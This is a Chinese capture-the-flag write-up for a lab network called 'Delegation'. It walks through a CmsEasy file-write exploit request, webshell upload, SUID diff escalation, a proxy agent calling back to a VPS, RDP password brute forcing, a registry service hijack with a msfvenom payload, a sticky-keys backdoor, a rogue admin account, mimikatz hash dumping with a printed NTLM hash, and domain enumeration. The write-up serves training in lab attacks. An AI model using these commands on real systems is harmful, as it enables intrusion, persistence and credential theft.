春秋云境-Delegation
考点1:CmsEasy-任意文件读取漏洞 (cve-2021-42643)+diff提权
dirsearch扫描一下可以发现一个admin路由, 访问这个路由自动跳转后台登录页面
弱口令登录 admin/123456
录界面可以看到它的版本号 V7.7.5.2
版本存在任意文件写入和任意文件读取漏洞 (cve-2021-42643),直接利用poc
1
2
3
4
5
6
7
8
9
10
|
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.99.224.70
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=s97o5rf5rijd8u9viuos04oc65; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close
sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php phpinfo();?>
|
记得改cookie,显示ok就说写进去了


然后写马进去,蚁剑连,发现flag,但是读不了

suid提权试试
1
|
find / -user root -perm -4000 -print 2>/dev/null
|
发现可以用diff提权
1
|
diff --line-format=%L /dev/null /home/flag/flag01.txt
|
https://gtfobins.github.io/gtfobins/diff/

有个提示。
接下来看内网网段
上传fscan扫一下
1
2
|
chmod 777 fscan
./fscan -h 172.22.4.0/24
|
4个内网主机
1
2
3
4
|
172.22.4.45 XIAORANG\WIN19
172.22.4.7 DC:DC01.xiaorang.lab
172.22.4.19 FILESERVER.xiaorang.lab
172.22.4.36 当前受控主机
|
前面的flag里面给了个WIN19\Adrian的提示, 还有一个rockyou, 可以猜测是用rockyou字典爆破密码
搭建代理
1
|
把linux_x64_agent上传到当前目录(如/tmp目录),然后执行chmod 777 ./linux_x64_agent
|
1
|
把linux_x64_admin上传到自己的vps上,给执行权限后(chmod 777 ./linux_x64_admin)执行:./linux_x64_admin -l 12345 -s 123456
|
1
|
然后在这台已经getshell的机器上运行:./linux_x64_agent -c 101.200.39.193:12345 -s 123456 --reconnect 8
|
然后在vps上依次执行
1
2
|
use 0
socks 5555 //端口可自定义
|
考点2:rdp密码爆破
用crackmapexec对smb服务爆破密码
它给了一个win的用户Adrian,那就是打rdp爆破了
1
|
proxychains crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19
|
爆破得到babygirl1
1
|
远程桌面连接一下 (用windows的远程桌面无法连接, 因为是过期的密码, 需要更改, 在windows上无法更改)
|
1
|
proxychains rdesktop 172.22.4.45
|
然后输入 用户名和密码 Adrian/babygirl1
考点三:注册表提权
再更改密码就可以正常登录了 ,在一个html文件发现可以修改注册表gupdate,明显就是注册表提权了

我们先将gupdate的执行程序路径修改为cmd
1
|
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\windows\system32\cmd.exe" /f
|
改完后启动服务
发现不让直接绑定到cmd里面去

用msf生成一个恶意exe文件
1
|
msfvenom -p windows/x64/exec cmd="C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\bad.bat" --platform windows -f exe-service > b.exe
|
1
2
3
4
5
6
|
-p : 指定要使用的payload
windows/x64/exec: 适用于 64 位 Windows 系统的 payload,设计用于执行指定的命令, 这个 payload 会运行用户定义的命令(通过 cmd 参数指定)
C:\windows\system32\cmd.exe /c C:\Users\Adrian\Desktop\bad.bat: 启动windows里面的cmd(系统权限)运行一个批处理文件, /c 参数表示 cmd 执行后续的命令后立即退出q
--platform windows : 指定目标平台为 Windows,确保生成的 payload 与 Windows 系统兼容。
-f: 指定输出格式
exe-service: 表示生成一个 Windows 可执行文件(exe), 并且这个 exe 文件可以作为 Windows 服务运行(用于持久化或后台执行
|
为了能够让生成的exe文件上传上去, 远程桌面连接的时候开启一个共享文件夹(记得要先创建文件夹,比如sudo mkdir -p /mnt/xpw/kali_shard,然后将b.exe放到这文件夹sudo cp b.exe /mnt/xpw/kali_shard/)
1
|
proxychains4 xfreerdp /u:WIN19\\Adrian /p:'050218qazQAZ.' /v:172.22.4.45 /cert:ignore /drive:share,/mnt/xpw/kali_shard
|
1
2
3
|
/drive 允许将本地文件系统的一个目录映射到远程 Windows 系统,作为共享驱动器
share 是远程系统上显示的驱动器名称(可任意设置)
/mnt/xpw/kali_shard : 本地系统的目录路径, 作为一个共享文件夹
|
1
|
在Windows中可以通过以下路径访问到b.exe:tsclient\share\b.exe
|

将上传的exe文件复制到桌面, 修改注册表绑定到gupdate服务上
1
|
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\b.exe" /f
|
1
2
3
4
5
|
/t 指定要添加或修改的注册表值的类型 (type)
REG_EXPAND_SZ : 一种字符串类型,允许包含环境变量(如 %SystemRoot%)
/v:指定要修改的注册表值的名称 (value)
/d:指定要设置的注册表值的数据 (data)
/f:表示强制执行操作,覆盖现有的值而无需用户确认 (force)
|
创建一个批处理文件bad.bat,内容 是
1
|
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
|
1
2
3
|
sethc.exe 表示 Windows 的“粘滞键”功能的程序, 在登录界面按 5 次 Shift 键触发
REG_SZ :是一种字符串类型,表示值是一个固定字符串
这个bat文件的作用就是在登录界面按5次 Shift 键触发粘滞键功能从而拿到系统权限的cmd
|
然后就可以打上面的命令启动服务了

锁定账户, 进入rpd登录界面, 按5次shift键 拿到系统权限的cmd窗口
1
|
type C:\users\administrator\flag\flag02.txt
|

1
2
3
|
net user tao 123456qwe. /add
net localgroup administrators tao /add
添加个管理员用户方便权限维持
|
总结一下流程
1
|
修改gupdate服务ImagePath -> 指向我们的b.exe -> 启动gupdate服务 -> b.exe以系统权限运行 -> b.exe执行bad.bat -> bad.bat修改注册表(设置sethc.exe的调试器为cmd.exe) -> 锁定计算机 -> 在登录界面按5次shift -> 触发sethc.exe的调试器(即cmd.exe)并以系统权限运行 -> 获取系统权限。
|
考点四:猕猴桃抓hash
新用户连接远程桌面, 新用户是管理员组, 权限较高
1
|
proxychains4 xfreerdp /u:WIN19\\tao /p:'123456qwe.' /v:172.22.4.45 /cert:ignore /drive:share,/mnt/xpw/kali_shard
|
上传一个mimikatz.exe, 抓取用户密钥以管理员身份运行
1
2
|
privilege::debug
sekurlsa::logonpasswords
|

可以拿到WIN19$机器账户的NTLM 搜集域内信息通常需要域内账户的凭据(域内用户或机器账户)
1
|
fd24e922667ef1f8477b6a8f52a8e64f
|
考点:域内信息搜集
Adinfo
1
|
Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H fd24e922667ef1f8477b6a8f52a8e64f
|
1
2
3
4
|
Adinfo_win.exe: 用于查询 Active Directory 域信息的工具
-d: 指定目标域的域名
--dc: 指定域控制器(DC)的 IP 地址或主机名
-H : 表示使用 NTLM 哈希进行认证,而不是明文密码
|
https://github.com/lzzbb/Adinfo/releases

1
|
`Unconstrained Delegation`:无约束委派,这个表明计算机 WIN19 被配置为无约束委派,那么这里下一步就很明显的是无约束委派攻击的方式了
|
非约束性委派攻击